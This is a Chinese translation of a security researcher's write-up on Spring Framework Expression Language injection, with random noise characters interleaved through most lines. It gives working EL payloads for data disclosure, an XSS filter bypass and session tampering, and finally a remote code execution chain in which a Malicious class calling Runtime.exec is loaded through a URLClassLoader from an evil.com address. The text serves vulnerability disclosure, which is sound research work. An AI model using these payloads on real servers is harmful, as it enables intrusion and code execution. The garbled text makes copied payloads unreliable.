Remote Code with
" G7 C _1 o2 e- ]. cExpression Language Injection
" H1 E4 t/ q6 f% _ wSpring Framework脆弱性—DanAmodio
. h: p8 L4 |" m1 h( H7 H全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
: _2 Z2 Y4 I2 A$ c可能会存在风险。
! @' p4 [) k: h- F在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 a9 k. ]9 w# q0 E* Q6 T/ ^8 gArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
# Y. }& j# ]) x4 a0 ]以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
7 [3 K6 r7 e X' \, ^! u6 v以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前( X9 E4 {6 D$ J+ `
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
. p- Y1 @1 W6 A v- u由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
1 d, K# X* Y: u- S3 H我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版+ v! V, c& _0 f' r; w
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
6 }5 Z7 u. i4 D8 A/ i( N这些版本不支持禁用double EL resolution.
& P5 j. n5 a- |这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
?" a7 |. i" Q7 O- a& q1 AEL2.2容器上可能进行远程代码执行。; s/ s- y5 J. O5 J7 M
这是一个原始信息泄露的攻击例子:
0 b) C8 V( H- w请求:
. \/ |% B: }4 ^ttp://vulnerable.com/foo?message=${applicationScope}5 V+ K$ q2 Q g5 h5 X: I7 c
到达以下内容页面:4 \/ u4 `9 _" f; r- x+ p' S6 u) I
结果将输出一些包含内部服务器信息calsspath 和本地工作目录% `% a( l' L' v. p/ C- E. i
你也可以做一些其他事情,如这样:" N( Y" A9 t4 z5 B
${9999+1}
5 H) t* {) w+ w4 @* o还可以访问session 对象和beans
+ A! \. V4 v4 r" J; R8 |/ |${employee.lastName}
9 A( A9 h# T; Z3 {4 E4 y, i在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
9 M/ _! ~; y( a2 @, w& mEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东5 j ]7 J8 R" p9 N; R
西,比如XSS.
5 X6 `2 J& q. t5 N+ Z' C$ w. r哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签" N5 D0 f' d6 l% p8 i9 ]
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤' Z8 t- J* n8 @) _- [! ?
呢?”2 g5 ]. e+ }2 a/ n* _6 h- _0 }2 O
因此,我尝试巳缦拢�
% N2 B& ?/ I" P% k4 W3 Q7 U, x$ rhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
% f! d D5 T6 e& IP( T/ U* g* q6 D& s+ o
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
! G) I8 Z" T) r5 c8 c回的文本被插入进了spring:message 标签。
" N2 T- u$ A% Z+ g% k; a0 o这里是一个最终绕过过滤的实例:
6 {! |& k& m& r7 I+ U! lhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
$ x W" k ^; X( N8 N# x它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
5 b2 R* r8 {5 h9 U什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?4 o: T( C2 \+ n: u( i
经过一番研究,我学习到EL2.2 增加了方法调用。% z' ]% u9 K7 i. v% p) `
我写了一个快速测试应用程序代码并且检测一些功能; L$ X# ]% o: Z; |8 t
${pageContext.request.getSession().setAttribute(“account”,”123456″)}/ H7 K2 o# L+ H3 q2 i; z
${pageContext.request.getSession().setAttribute(“admin”,true)}- ]3 e1 _8 g" k) G0 H! O% |: Z- D
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的& k5 ^/ u' p8 m/ c6 t
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?) g9 F' E( [0 |0 q/ i j& ]
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1- L1 Y/ d; u9 k0 Y! [' g$ T1 K% S' q
“, 1234)}
2 l$ Z0 ]9 z# X, u. U6 I1 m' [${“”.getClass().forName(“java.lang.Runtime”)}
m; B+ r( r- I6 j0 L- t- l哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& m: H ?7 W. Z: n) B0 D1 s可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函, k2 y3 `2 z8 R, X0 P
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有. B q s/ I& f- P+ _9 g
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于! p% X( K# |3 M% w# M: j' R
方法签名invoke(Object obj, Object„ args)
$ L% g3 [9 a7 J) L" ?6 wJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问$ S5 W4 ]0 T- V+ d" q4 x- q e' n
题,以让它可以工作起来。
( Y. y8 @0 s, \& j. U漏洞利用:
; Z8 j" n+ s& S- S" p( |" ~我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我9 Q7 m9 }/ n6 h7 Y, B9 C
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
$ o, ]$ G W" t* _: \这里有一些我试过的失败的用例,为了试图让它工作的用例:$ ~1 |# C4 f0 l0 {) {
写文件到文件系统' H: Y0 D" ~7 |; i
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
! X* k. `5 L5 q我认为这些可以很好的工作,但是我不能找到合适的类来载入。
4 i4 A8 \) a4 {1 U0 j${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
7 E. P7 ^( I' C) ]: ^4 n" Ijavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
1 v6 h! h! u% y6 Sorg.springframework.expression.spel.standard.SpelExpressionParser not found
5 {" l6 ]7 n" _3 wby3 z. J c% c1 F) u3 c
org.glassfish.web.javax.servlet.jsp [194].
( z* b* j4 q2 V2 A& D 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
. P# f2 L7 w. I, @) w9 {9 x 利用反射来创建一个新的Runtime(and watch the world burn)" a8 {. r5 p7 k8 E9 F
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
' m# N' G9 {- H: K* Q0 W$ C$ w(“java.lang.Runtime”)).getDeclaredConstructors()[0])}9 D+ t% g: K* v/ F5 E
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}% L/ m, ?+ K# ]
使用java.lang.ProcessBuilder4 _: C6 P8 ^. } q$ Z e
用表达式语言来评估表达式语言! _) ^- Q: d/ @9 s: L8 B) X
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
% f5 _) {; o/ c& a9 V${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request- O2 e" q+ \/ Z( ~4 ]
“,”".getClass(),null)}
, J$ {( Y% O4 A: r' K 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
- ~- l i6 K$ f% {! q我在使用一个空数组通过Method.invoke()时失败了很多次4 E1 u; b3 G5 ]' `/ m) u
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo/ y9 `) H3 O1 N4 S
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A( b# }2 h' ~6 |( N+ _6 K- s
rrayList”).newInstance().toArray())
* u( S* q `$ Z. J! v- x- M2 ^0 F3 Kjava.lang.IllegalArgumentException: wrong number of arguments
9 e+ u8 R9 \5 I: l最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
) }$ u5 w5 ?- a6 h以创建一个恶意class文件并且指向类装载器.% E3 d# v9 r7 r3 Q4 Q
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:7 c5 H1 _$ v5 i% S
public class Malicious { \+ |; h' S. a# @ q, K2 u
public Malicious() {
# |. R- e( P" @; v6 n3 s ztry {2 U3 _ t: W1 J" z; W, k$ F
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
8 t0 {% {$ M) e& h& gjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
2 p: ~2 [! ?9 Z1 N. m} catch (Exception e) {
, f; D( ?0 c0 r}
8 a5 a# ~9 A( r* B5 ?}
7 k, B0 _- j2 g V: z我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回( e4 g( |4 E: C: P
话中,因此它可以被使用.
( Q9 W0 f; @+ I* q& O: d9 g: Q${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
( A& P3 D% t4 [. S" O K(“java.util.ArrayList”).newInstance())}1 q* y6 E1 ~. G4 _ P- M1 |8 p8 L% a
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建1 S. {9 r+ `& b7 ~9 m% s/ a
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
: Y i5 t4 d: E9 i; I K* Y: f% FgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
7 h/ k, l6 ?8 \% r) b2 N0 L我们可以调用的create(string)方法,然后转换对一个URL对象。
4 _; T% S6 O7 K2 H- X+ y${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
/ b5 U2 e& a. r5 tere/malicious/classfile/is/located/”).toURL())}
5 `9 S! L* V0 M3 j6 N: P* d4 v$ v然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,1 h( o) w' D F( D" j& E
恶意类文件被装载并创建,触发远程代码.
, y! X2 o1 E: d6 h' h${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
8 |! a) J& h8 s$ \$ H( w: Ext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
6 W7 m- A2 A8 s9 VgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance; Y- l, V' ]+ t9 e) i
()} |